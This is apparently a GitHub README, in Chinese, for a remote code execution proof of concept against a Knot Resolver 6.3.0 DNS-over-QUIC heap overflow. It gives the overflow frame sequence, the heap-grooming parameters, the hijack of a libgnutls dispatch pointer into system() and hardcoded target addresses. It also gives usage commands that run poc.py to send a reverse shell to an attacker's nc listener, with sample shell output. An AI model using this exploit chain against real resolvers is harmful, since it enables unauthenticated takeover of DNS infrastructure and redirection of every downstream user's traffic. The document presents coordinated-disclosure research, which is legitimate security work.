venglin/knot-doq
GitHub: venglin/knot-doq
针对 Knot Resolver 6.3.0 DNS-over-QUIC 堆溢出漏洞的远程代码执行概念验证工具,演示了无需身份验证即可通过单个 QUIC 连接实现 RCE 的完整利用链。
Stars: 0 | Forks: 0
# Knot Resolver 6.3.0 — DNS-over-QUIC 堆溢出 → RCE (PoC)
针对 Knot Resolver 的 DNS-over-QUIC (DoQ) 接收路径中可远程触发的 heap 缓冲区溢出的概念验证,该漏洞可实现以 `knot-resolver` 服务用户身份进行远程代码执行。
- **组件:** `kresd` DoQ 监听器 (`daemon/quic_conn.c`)
- **受影响版本:** Knot Resolver 6.3.0(已在 `6.3.0-cznic.1~bookworm` 上验证)
- **修复版本:** Knot Resolver 6.4.1(发布于 2026-07-22)
- **类别:** Heap 越界写入 (CWE-787)
- **攻击向量:** 网络,无需身份验证 — 单个 QUIC 连接
- **影响:** 以 `knot-resolver` 身份执行代码;最低限度为远程崩溃 / DoS
## 演示
完全远程利用 — 漏洞利用通过 DNS-over-QUIC 从攻击者机器触发,并在 `nc` 上捕获到 `knot-resolver` 反弹 shell(点击观看全分辨率视频):
[](knot.mp4)
## 什么是 Knot Resolver
[Knot Resolver](https://www.knot-resolver.cz/) 是一个开源的缓存** DNS 递归解析器**,由 CZ.NIC(`.cz` 注册局)开发。它代表客户端(终端用户设备、ISP 解析器集群和公共解析器服务)解析 DNS 查询并缓存答案。它支持现代加密传输,包括 DNS-over-TLS (DoT)、DNS-over-HTTPS (DoH) 和** DNS-over-QUIC (DoQ)**,并内置 DNSSEC 验证和主动缓存。
它在**大型 ISP 环境**中很受欢迎,其丰富的功能集(可脚本化策略、DNSSEC、加密传输、细粒度缓存)和高性能使其非常适合为庞大的用户群提供服务。
守护进程(`kresd`)是一个长期运行的网络服务,直接暴露于任何能够访问其监听端口的主机的不可信输入。这使得其数据包接收路径中的内存损坏漏洞(如此处利用的漏洞)成为一个可远程触达、无需身份验证的攻击面:入侵解析器会让攻击者能够为每个下游客户端伪造 DNS 答案,即重定向或拦截几乎所有的流量。
## 根本原因
`kr_recv_stream_data_cb()` 将 DoQ STREAM 帧重新组装到每个连接的输入缓冲区(`pers_inbuf`)中。它使用以下方式扩展该缓冲区:
```
pers_inbuf.size += datalen; /* bug: accumulates, never re-baselines */
```
而不是将大小设置为新总量。在多帧传输中,追踪的 `size` 会偏离并超过实际分配的大小。因此,最后一个 `datalen` 适合*虚高*的 `size` 的帧将跳过重新分配,但随后的 `memcpy()` 会受到该虚高大小的限制 — 从而产生越界写入。jemalloc 将对象固定在其真实的 size class 中,因此多出的字节会落入相邻的 slab slot 中。
## 利用摘要
单个流上的六帧序列使 `pers_inbuf` 穿过五个 jemalloc size class 进入 6144 字节的 class,然后溢出到相邻 slot:
```
F1 datalen=8 initial 1200-byte allocation
F2 datalen=1440 realloc -> 1536-class
F3 datalen=1440 realloc -> 3072-class
F4 datalen=1440 realloc -> 5120-class
F5 datalen=1440 realloc -> 6144-class
F6 datalen=1200, FIN no realloc -> 814-byte OOB write into slot+1
```
轻量级连接 *grooming*(打开多个 DoQ 连接,在触发前释放一半)使得 `slot+1` 持有一个 libgnutls 清理处理程序。溢出覆盖了该处理程序的 dispatch 指针、其参数以及控制 dispatch 的标志。在连接拆除期间,libgnutls 执行
```
call *0x110(%rbx) ; %rbx = attacker-controlled slot+1
```
从而获得对指令指针(RIP)和第一个参数(RDI)的控制。PoC 将此路由到 `system()`,并带有指向写入同一 slot 的、由攻击者提供的命令字符串的指针。
## 范围:ASLR
此 PoC 针对的是 **禁用** ASLR 的主机(`kernel.randomize_va_space = 0`)。在关闭随机化的情况下,heap 和 libc 地址是确定的,因此漏洞利用所需的两个地址(`slot+1` 和 `system()`)对于特定构建来说是常量。攻破 ASLR 是一个独立的问题,在此特意**不纳入范围** — 目标是独立演示内存损坏 → 控制流 → 代码执行原语。
因为这些地址是确定性的,**不需要信息泄露**:漏洞利用完全通过远程网络主机运行。地址通过以下 `probe` 步骤在任意相同的构建上恢复一次,然后硬编码;在参考构建中,它们为 `slot+1 = 0x7ffff66c5000` 和 `system = 0x7ffff746a490`。
## 内容
| 文件 | 用途 |
|--------------------------|------------------------------------------------------|
| `poc.py` | 漏洞利用程序。模式:`probe`, `rip`, `exec`。 |
| `probe.gdb` | gdb oracle,用于读取确定性的 `pers_inbuf`。|
| `README.md` | 本文档。 |
攻击端需要带有 [`aioquic`](https://pypi.org/project/aioquic/) 和 `netcat` 的 Python 3,而目标端仅在执行一次性 `probe` 步骤时需要 `gdb`。
## 用法 — 远程反弹 shell(无信息泄露)
这是标题演示:漏洞利用**通过网络从攻击者机器**触发,并硬编码了两个确定性地址。不从目标读取任何内容 — 没有 `/proc`,没有 gdb,也没有日志。
```
# 在攻击者机器上:监听 shell
$ nc -lvnp 4444 # Linux; on macOS/BSD: nc -l 4444
# 在另一个终端中:向目标的 DoQ 端口发送 exploit
$ python3 poc.py exec \
--host --port 8853 \
--slot1 0x7ffff66c5000 \
--system 0x7ffff746a490 \
--lhost --lport 4444 \
--rounds 250
```
每次成功落地的尝试都会在目标上调用带有反弹 shell 命令的 `system()`;该 shell 会连接回 `--lhost:--lport`,`nc` 会在那里接收它。当它到达时,在 netcat 会话中键入内容以驱动 shell:
```
knot-resolver@doqlab:/run/knot-resolver$ id; hostname; uname -srm
uid=104(knot-resolver) gid=109(knot-resolver) groups=109(knot-resolver)
doqlab
Linux 6.1.0-50-cloud-amd64 x86_64
```
`--slot1` / `--system` 的值是在任何相同构建上通过 `probe` 步骤恢复一次的;只要关闭了 ASLR,它们就是常量。
## 恢复地址(一次性探测)
只要关闭了 ASLR,上述 `--slot1` / `--system` 的值即为常量;在任何相同的构建上恢复它们一次。前提条件:
```
$ sudo sysctl -w kernel.randomize_va_space=0
```
```
# slot+1 : gdb oracle 读取确定性的 pers_inbuf, +0x1800
$ sudo gdb -batch -p "$(pidof /usr/sbin/kresd)" -x probe.gdb &
$ sudo ./venv/bin/python3 poc.py probe
$ grep slot1 /tmp/pers_inbuf_oracle.txt
CONSUME: buf=0x7ffff66c3800 slot1=0x7ffff66c5000
# system : libc base (ASLR off) + system() offset
$ addr=$(grep -m1 libc.so /proc/$(pidof /usr/sbin/kresd)/maps | cut -d- -f1)
$ printf 'system = 0x%x\n' $((0x$addr + 0x$(readelf --dyn-syms /lib/x86_64-linux-gnu/libc.so.6 | awk '$8 ~ /^system@/ {print $2; exit}')))
```
`poc.py rip --rounds 8` 额外演示了原始的 RIP/RDI 控制(目标在攻击者指定的指令指针处崩溃)。
## 可靠性
在参考构建上测量(Debian 12,`6.3.0-cznic.1`,关闭 ASLR):
| 原语 | 概率 |
|------------------------------------|-------------------------|
| RIP/RDI 控制(`rip`,崩溃) | 每轮约 7/8 次 |
| 完整的 `system()` 执行(`exec`) | 每 30–50 轮约 1 次 |
这种差距是固有的:`system()` 运行在刚刚被溢出破坏的 heap 上,因此大多数 dispatch 会在派生子进程之前使 `kresd` 崩溃。守护进程在每次崩溃后由其管理程序重新启动,在关闭 ASLR 的情况下地址是确定性的,并且每次尝试都是独立的 — 因此 `exec` 循环只需重试直到有一次成功即可(在上面的远程运行中,shell 在第 5 轮到达)。失败的尝试是瞬时的 worker 崩溃(DoS)。Grooming 参数 `--groom 16 --close 8 --qpc 4` 是经验上最佳的默认值;更重的关闭(例如在 `--groom 32` 时的 `--close 16`)会大幅降低命中率。
## 参考环境
```
OS Debian 12 (bookworm), glibc 2.36
kresd knot-resolver6 6.3.0-cznic.1~bookworm
libgnutls 3.7.9-2+deb12u7
config DoQ listener on 127.0.0.1@8853
```
Size-class 几何结构(六帧,1200/1440 字节 payload)和 libgnutls dispatch offset 特定于此构建;其他构建需要重新推导帧大小和 offset。
## 披露时间表
| 日期 | 事件 |
|-------------|------------------------------------------------------------------|
| 2026-06-08 | 向供应商(CZ.NIC)报告了漏洞。 |
| 2026-07-22 | 在 Knot Resolver 6.4.1 中发布了修复程序,并附带供应商公告。 |
| 2026-07-23 | 发布了此 PoC 和分析文章。 |
## 披露与许可
已于 2026-06-08 向供应商报告,并与官方修复程序(6.4.1,2026-07-22)协调发布。仅供授权测试、防御性验证和研究使用。请勿对您不拥有或未获得明确测试授权的系统运行此程序。
SPDX-License-Identifier: MIT
标签:DNS-over-QUIC, DNS解析器, PoC, Web报告查看器, 内存破坏, 暴力破解, 编程工具, 远程代码执行, 逆向工具